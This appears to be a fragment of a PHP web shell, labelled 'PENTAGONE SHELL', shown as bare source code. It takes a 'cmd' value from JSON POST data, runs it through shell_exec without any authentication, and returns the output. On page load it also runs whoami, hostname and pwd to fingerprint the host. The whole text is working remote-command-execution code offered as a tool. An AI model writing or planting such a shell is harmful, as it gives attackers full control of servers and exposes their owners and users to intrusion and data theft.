", htmlentities($text)); } function exec_command($cmd, $internal = false) { try { $output = shell_exec($cmd); if ($internal) { return $output; } return json_encode([ 'status' => 'ok', 'response' => escapetext($output) ]); } catch (Exception $e) { $errorResponse = [ 'status' => 'error', 'response' => $e->getMessage() ]; return $internal ? $e->getMessage() : json_encode($errorResponse); } } $postdata = json_decode(file_get_contents('php://input')); if (!is_null($postdata) && isset($postdata->cmd)) { die(exec_command($postdata->cmd)); } try { $hostvars = exec_command('whoami && hostname && pwd', true); list($whoami, $hostname, $pwd) = explode("\n", trim($hostvars)); if (!$whoami || !$hostname || !$pwd) { throw new Exception('Could not retrieve necessary information.'); } } catch (Exception $e) { $errormsg = $e->getMessage(); } ?> PENTAGONE SHELL - <?php echo isset($errormsg) ? 'Inactive' : 'Active'; ?>